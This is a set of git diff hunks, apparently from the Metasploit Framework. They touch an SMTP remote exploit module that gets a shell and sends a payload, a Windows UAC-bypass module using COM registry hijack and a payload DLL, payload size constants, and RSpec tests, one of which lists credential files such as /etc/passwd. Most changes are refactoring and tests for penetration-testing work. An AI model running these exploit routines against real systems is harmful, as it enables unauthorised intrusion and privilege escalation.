resp = smtp_send_recv("DATA\r\n")
resp ||= 'no response'
msg = "DATA: #{resp.strip}"
if not resp or resp[0,3] != '354'
@@ -251,21 +251,21 @@ class MetasploitModule < Msf::Exploit::Remote
sock.put body
print_status("Ending first message.")
buf = raw_send_recv("\r\n.\r\n")
buf = smtp_send_recv("\r\n.\r\n")
# Should be: "552 Message size exceeds maximum permitted\r\n"
print_status("Result: #{buf.inspect}") if buf
second_result = ""
print_status("Sending second message ...")
buf = raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
buf = smtp_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
# Should be: "sh-x.x$ " !!
if buf
print_status("MAIL result: #{buf.inspect}")
second_result << buf
end
buf = raw_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n")
buf = smtp_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n")
# Should be: "sh: RCPT: command not found\n"
if buf
print_status("RCPT result: #{buf.inspect}")
@@ -296,7 +296,7 @@ class MetasploitModule < Msf::Exploit::Remote
if resp !~ /Summary of my perl/
print_status("Should have a shell now, sending payload...")
buf = raw_send_recv("\n" + payload.encoded + "\n\n")
buf = smtp_send_recv("\n" + payload.encoded + "\n\n")
if buf
if buf =~ /554 SMTP synchronization error/
print_error("This target may be patched: #{buf.strip}")
@@ -6,13 +6,14 @@
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Post::Windows::Priv
include Post::Windows::Registry
include Post::Windows::Runas
include Exploit::FileDropper
CLSID_PATH = "HKCU\\Software\\Classes\\CLSID"
DEFAULT_VAL_NAME = '' # This maps to "(Default)"
CLSID_PATH = 'HKCU\\Software\\Classes\\CLSID'.freeze
DEFAULT_VAL_NAME = ''.freeze # This maps to "(Default)"
def initialize(info = {})
super(
@@ -51,6 +52,11 @@ class MetasploitModule < Msf::Exploit::Local
['URL', 'https://github.com/FuzzySecurity/Defcon25/Defcon25_UAC-0day-All-Day_v1.2.pdf']
],
'DisclosureDate' => '1900-01-01',
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
},
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
@@ -63,11 +69,26 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
if sysinfo['OS'] =~ /Windows (7|8|10|2008|2012|2016)/ && is_uac_enabled?
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
vprint_status("System OS Detected: #{sysinfo['OS']}")
# return CheckCode::Safe('UAC is not enabled') unless is_uac_enabled?
if sysinfo['OS'] =~ /Windows (7|8|2008|2012)/
return CheckCode::Appears
end
if sysinfo['OS'] =~ /Windows (10|2016)/
sysinfo_value = sysinfo['OS']
build_num_arr = sysinfo_value.split('Build')
return CheckCode::Safe('Unable to determine build Number') if build_num_arr.length < 2
build_num = build_num_arr[1].to_i
vprint_status("Detected build number: #{build_num}")
if build_num < 18362
return CheckCode::Appears
else
return CheckCode::Safe
end
end
return CheckCode::Safe
end
def exploit
@@ -100,7 +121,7 @@ class MetasploitModule < Msf::Exploit::Local
return
end
payload = generate_payload_dll({ :dll_exitprocess => true })
payload = generate_payload_dll({ dll_exitprocess: true })
commspec = expand_path('%COMSPEC%')
dll_name = expand_path("%TEMP%\\#{rand_text_alpha(8)}.dll")
hijack = hijack_com(registry_view, dll_name)
@@ -115,7 +136,7 @@ class MetasploitModule < Msf::Exploit::Local
write_file(dll_name, payload)
register_file_for_cleanup(dll_name)
print_status("Executing high integrity process ...")
print_status("Executing high integrity process #{expand_path(hijack[:cmd_path])}")
args = "/c #{expand_path(hijack[:cmd_path])}"
args << " #{hijack[:cmd_args]}" if hijack[:cmd_args]
@@ -124,11 +145,11 @@ class MetasploitModule < Msf::Exploit::Local
client.sys.process.execute(commspec, args, { 'Hidden' => true })
# Wait a copule of seconds to give the payload a chance to fire before cleaning up
Rex::sleep(5)
Rex.sleep(5)
handler(client)
ensure
print_status("Cleaning up registry ...")
print_status('Cleaning up registry; this can take some time...')
registry_deletekey(hijack[:root_key], registry_view)
end
end
@@ -187,10 +208,6 @@ class MetasploitModule < Msf::Exploit::Local
vprint_status('Checking admin status...')
admin_group = is_in_admin_group?
unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
end
unless is_in_admin_group?
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
@@ -199,12 +216,10 @@ class MetasploitModule < Msf::Exploit::Local
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
elsif admin_group
print_good('Part of Administrators group! Continuing...')
else
if admin_group
print_good('Part of Administrators group! Continuing...')
else
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
@@ -6,7 +6,7 @@
module MetasploitModule
CachedSize = 115833
CachedSize = 116377
include Msf::Payload::Single
include Msf::Payload::Python
@@ -6,7 +6,7 @@
module MetasploitModule
CachedSize = 115825
CachedSize = 116369
include Msf::Payload::Single
include Msf::Payload::Python
@@ -6,7 +6,7 @@
module MetasploitModule
CachedSize = 115825
CachedSize = 116369
include Msf::Payload::Single
include Msf::Payload::Python
@@ -6,7 +6,7 @@
module MetasploitModule
CachedSize = 115733
CachedSize = 116277
include Msf::Payload::Single
include Msf::Payload::Python
@@ -217,6 +217,6 @@ class MetasploitModule < Msf::Post
#-------------------------------------------------------------------------------
def create_payload_from_file(exec)
print_status("Reading Payload from file #{exec}")
::IO.read(exec)
File.binread(exec)
end
end
@@ -0,0 +1,93 @@
RSpec.describe Msf::Exploit::Remote::SMTPDeliver do
context "#smtp_send_recv" do
subject(:instance) {
mod = Msf::Exploit::Remote.allocate
mod.extend described_class
mod
}
let (:socket) {
double(Rex::Socket::Tcp)
}
let (:cmd) {
"EHLO"
}
let(:ehlo_resp1) {
"250-ip-10-140-50-23.us-west-1.compute.internal\r\n250-XXXA\r250-PIPELINING\r\n250-AUTH CRAM-MD5 LOGIN PLAIN\r\n"
}
let(:ehlo_resp2) {
"250-SIZE 512000\r\n250-VRFY\r\n250-ETRN\r\n250-ENHANCEDSTATUSCODES\r\n250-8BITMIME\r\n250-XXXXXXXB\r\n250-XXXC\r\n"
}
let(:ehlo_resp3) {
"250 DSN"
}
let(:ehlo_resp4) {
"\r\n"
}
before {
allow(instance).to receive(:vprint_status)
allow(socket).to receive(:put)
allow(socket).to receive(:get_once).and_return(ehlo_resp1, ehlo_resp2, ehlo_resp3, ehlo_resp4)
}
it "should read the socket for continuation messages" do
response = instance.smtp_send_recv(cmd, socket)
expect(response).to end_with(ehlo_resp3 + ehlo_resp4)
end
context "when a single response occurs" do
let(:ehlo_resp1) {
"250 DSN\r\n"
}
before {
allow(socket).to receive(:get_once).and_return(ehlo_resp1)
}
it "passes" do
response = instance.smtp_send_recv(cmd, socket)
expect(response).to end_with(ehlo_resp1)
end
end
context "when the server response is terse" do
let(:ehlo_resp3) {
"250"
}
it "should support a final line with no space or extra data" do
response = instance.smtp_send_recv(cmd, socket)
expect(response).to end_with(ehlo_resp3 + ehlo_resp4)
end
end
context "when incomplete response is received" do
# a nil from `get_once` simulates a Timeout expired
let(:ehlo_resp4){
nil
}
it "should raise error when the response is incomplete" do
expect {instance.smtp_send_recv(cmd, socket)}.to raise_error RuntimeError
end
end
context "when excess data response is received" do
# a nil from `get_once` simulates a Timeout expired
let(:ehlo_resp3){
"250 DSN\r\n253 additional unexpected data"
}
let(:ehlo_resp4){
nil
}
it "should raise error when the response is incomplete" do
expect {instance.smtp_send_recv(cmd, socket)}.to raise_error RuntimeError
end
end
end
end
+42 -2
View File
@@ -45,6 +45,46 @@ RSpec.describe Rex::Post::Meterpreter::Tlv do
expect(tlv).to respond_to :from_r
end
context "TLV with value mapped to a single type" do
subject(:tlv) {
Rex::Post::Meterpreter::Tlv.new(
Rex::Post::Meterpreter::TLV_TYPE_RESULT,
0
)
}
it "should have a single type" do
expect(tlv.inspect).to eq "#<Rex::Post::Meterpreter::Tlv type=RESULT meta=INT value=0>"
end
end
context "TLV with value mapped to multiple types" do
subject(:tlv) {
Rex::Post::Meterpreter::Tlv.new(
151074, # Multiple TLV Types are defined as this value, as described here: https://github.com/rapid7/metasploit-framework/pull/16258#discussion_r817878469
0
)
}
# https://github.com/rapid7/metasploit-framework/pull/16258#discussion_r817878469
it "should handle multiple types in alphabetical order" do
expect(tlv.inspect).to eq "#<Rex::Post::Meterpreter::Tlv type=oneOf(EXT_WINDOW_ENUM_PID,PEINJECTOR_SHELLCODE_SIZE,SNIFFER_INTERFACE_ID,WEBCAM_INTERFACE_ID) meta=INT value=0>"
end
end
context "TLV with an unknown TLV type" do
subject(:tlv) {
Rex::Post::Meterpreter::Tlv.new(
-1,
0
)
}
it "should have an unknown type" do
expect(tlv.inspect).to eq "#<Rex::Post::Meterpreter::Tlv type=unknown--1 meta=unknown-meta-type value=\"0\">"
end
end
context "A String TLV" do
it "should return the correct TLV type" do
expect(tlv.type).to eq Rex::Post::Meterpreter::TLV_TYPE_STRING
@@ -130,7 +170,7 @@ RSpec.describe Rex::Post::Meterpreter::Tlv do
end
it "should show the correct type and meta type in inspect" do
tlv_to_s = "#<Rex::Post::Meterpreter::Tlv type=COMMAND-ID meta=INT value=1001 command=stdapi_fs_chdir>"
tlv_to_s = "#<Rex::Post::Meterpreter::Tlv type=COMMAND_ID meta=INT value=1001 command=stdapi_fs_chdir>"
expect(tlv.inspect).to eq tlv_to_s
end
end
@@ -147,7 +187,7 @@ RSpec.describe Rex::Post::Meterpreter::Tlv do
end
it "should show the correct type and meta type in inspect" do
tlv_to_s = "#<Rex::Post::Meterpreter::Tlv type=COMMAND-ID meta=INT value=31337 command=unknown>"
tlv_to_s = "#<Rex::Post::Meterpreter::Tlv type=COMMAND_ID meta=INT value=31337 command=unknown>"
expect(tlv.inspect).to eq tlv_to_s
end
end
+52 -43
View File
@@ -1,44 +1,49 @@
# -*- coding: binary -*-
require 'stringio'
require 'factory_bot'
require 'rubocop'
require 'rubocop/rspec/support'
require 'faker'
ENV['RAILS_ENV'] = 'test'
# @note must be before loading config/environment because railtie needs to be loaded before
# `Metasploit::Framework::Application.initialize!` is called.
#
# Must be explicit as activerecord is optional dependency
require 'active_record/railtie'
require 'rubocop'
require 'rubocop/rspec/support'
require 'metasploit/framework/database'
# check if database.yml is present
unless Metasploit::Framework::Database.configurations_pathname.try(:to_path)
fail 'RSPEC currently needs a configured database'
end
load_metasploit = ENV.fetch('SPEC_HELPER_LOAD_METASPLOIT', 'true') == 'true'
require File.expand_path('../../config/environment', __FILE__)
if load_metasploit
# @note must be before loading config/environment because railtie needs to be loaded before
# `Metasploit::Framework::Application.initialize!` is called.
#
# Must be explicit as activerecord is optional dependency
require 'active_record/railtie'
require 'metasploit/framework/database'
# check if database.yml is present
unless Metasploit::Framework::Database.configurations_pathname.try(:to_path)
fail 'RSPEC currently needs a configured database'
end
# Don't `require 'rspec/rails'` as it includes support for pieces of rails that metasploit-framework doesn't use
require 'rspec/rails'
require File.expand_path('../../config/environment', __FILE__)
require 'metasploit/framework/spec'
# Don't `require 'rspec/rails'` as it includes support for pieces of rails that metasploit-framework doesn't use
require 'rspec/rails'
FILE_FIXTURES_PATH = File.expand_path(File.dirname(__FILE__)) + '/file_fixtures/'
require 'metasploit/framework/spec'
# Load the shared examples from the following engines
engines = [
Metasploit::Concern,
Rails
]
FILE_FIXTURES_PATH = File.expand_path(File.dirname(__FILE__)) + '/file_fixtures/'
# Requires supporting ruby files with custom matchers and macros, etc,
# in spec/support/ and its subdirectories.
engines.each do |engine|
support_glob = engine.root.join('spec', 'support', '**', '*.rb')
Dir[support_glob].each { |f|
require f
}
# Load the shared examples from the following engines
engines = [
Metasploit::Concern,
Rails
]
# Requires supporting ruby files with custom matchers and macros, etc,
# in spec/support/ and its subdirectories.
engines.each do |engine|
support_glob = engine.root.join('spec', 'support', '**', '*.rb')
Dir[support_glob].each { |f|
require f
}
end
end
RSpec.configure do |config|
@@ -76,7 +81,20 @@ RSpec.configure do |config|
# --seed 1234
config.order = :random
config.use_transactional_fixtures = true
if load_metasploit
config.use_transactional_fixtures = true
# rspec-rails 3 will no longer automatically infer an example group's spec type
# from the file location. You can explicitly opt-in to the feature using this
# config option.
# To explicitly tag specs without using automatic inference, set the `:type`
# metadata manually:
#
# describe ThingsController, :type => :controller do
# # Equivalent to being in spec/controllers
# end
config.infer_spec_type_from_file_location!
end
# Seed global randomization in this process using the `--seed` CLI option.
# Setting this allows you to use `--seed` to deterministically reproduce
@@ -108,17 +126,6 @@ RSpec.configure do |config|
mocks.verify_partial_doubles = true
end
# rspec-rails 3 will no longer automatically infer an example group's spec type
# from the file location. You can explicitly opt-in to the feature using this
# config option.
# To explicitly tag specs without using automatic inference, set the `:type`
# metadata manually:
#
# describe ThingsController, :type => :controller do
# # Equivalent to being in spec/controllers
# end
config.infer_spec_type_from_file_location!
if ENV['REMOTE_DB']
require 'metasploit/framework/data_service/remote/managed_remote_data_service'
opts = {}
@@ -137,8 +144,10 @@ RSpec.configure do |config|
end
Metasploit::Framework::Spec::Constants::Suite.configure!
Metasploit::Framework::Spec::Threads::Suite.configure!
if load_metasploit
Metasploit::Framework::Spec::Constants::Suite.configure!
Metasploit::Framework::Spec::Threads::Suite.configure!
end
def get_stdout(&block)
out = $stdout
@@ -23,6 +23,7 @@ module MeterpreterSpecs
"use",
"write",
"cat",
"lcat",
"cd",
"del",
"download",
+2 -1
View File
@@ -128,7 +128,8 @@ class MetasploitModule < Msf::Post
'/etc/passwd',
'/etc/master.passwd',
'%WINDIR%\\system32\\notepad.exe',
'%WINDIR%\\system32\\calc.exe'
'%WINDIR%\\system32\\calc.exe',
File.expand_path(__FILE__)
].each do |path|
ret = true if file?(path)
end